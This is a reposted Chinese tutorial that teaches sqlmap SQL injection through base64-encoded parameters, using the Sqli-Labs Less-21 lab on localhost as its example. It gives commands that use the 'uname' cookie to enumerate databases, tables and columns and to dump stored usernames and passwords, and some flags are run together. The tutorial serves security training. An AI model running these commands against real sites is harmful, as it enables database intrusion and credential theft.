0


[网络安全]sqlmap加密注入教程+实战详析

为什么使用sqlmap加密注入

在使用手工注入绕过参数加密的限制时,需要构造出原始POC再进行加密注入,耗时耗力,因此采用sqlmap加密注入。

在开始本文前,sqlmap基础知识及姿势可参考: [网络安全]以留言板项目渗透实例带你入门sqlmap


加密注入语法

基本语法:

python sqlmap.py -u 目标URL --注入点="参数=xx"* --dbms 数据库 --threads=线程数 --batch--tamper=加密方式(base64encode等)
*

表示只对该参数进行注入测试,不加

*

的话还会测试其他参数是否为注入点,增加时间

--dbms 数据库

,使sqlmap明确要注入的数据库类型,不加的话会对所有的数据库进行测试(使用的前提:已知渗透网站的数据库类型)

--threads=线程数(1-10)

,规定线程,线程越高跑出来的时间越短,但可能会因访问繁忙而被waf拦截

--batch

,选择默认选项,跑sqlmap的时候加上这句话可节约时间、不需要回复提示

 --tamper=加密方式

,对注入的内容进行加密注入


可以进行加密注入的条件

在已知数据库加密类型的情况下,就可以使用sqlmap进行加密注入。

例如已知用户名及密码参数为base64加密,则可以用sqlmap进行base64加密注入,得到正确的数据。


实战

以Sqli-Labs Less-21为例

以正确的用户名、密码登录,抓包得到:

在这里插入图片描述

可知注入点为cookie,参数为uname,且参数内容经base64解密后正好为输入的用户名,则可使用sqlmap进行base64加密注入

构造sqlmap语句:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10--batch--tamper=base64encode

在这里插入图片描述
回显可用的注入方式及网站环境配件的版本:

在这里插入图片描述
故sqlmap语句构造成功


爆数据库名

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10--batch--tamper=base64encode --dbs

在这里插入图片描述


爆security库的表名

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10--batch--tamper=base64encode -D security --tables

在这里插入图片描述
回显如下:

在这里插入图片描述

得到四个表


爆users表的列名

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10--batch--tamper=base64encode -D security -Tusers--columns

在这里插入图片描述

回显如下:

在这里插入图片描述
得到三个列


爆数据

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10--batch--tamper=base64encode -D security -Tusers-C id,username,password --dump

在这里插入图片描述

回显如下:

在这里插入图片描述


总结

以上为[网络安全] sqlmap加密注入教程+实战详析,读者可躬身实践。

我是秋说,我们下次见。

标签: web安全 安全 sqlmap

本文转载自: https://blog.csdn.net/2301_77485708/article/details/132067064
版权归原作者 秋说 所有, 如有侵权,请联系我们删除。

“[网络安全]sqlmap加密注入教程+实战详析”的评论:

还没有评论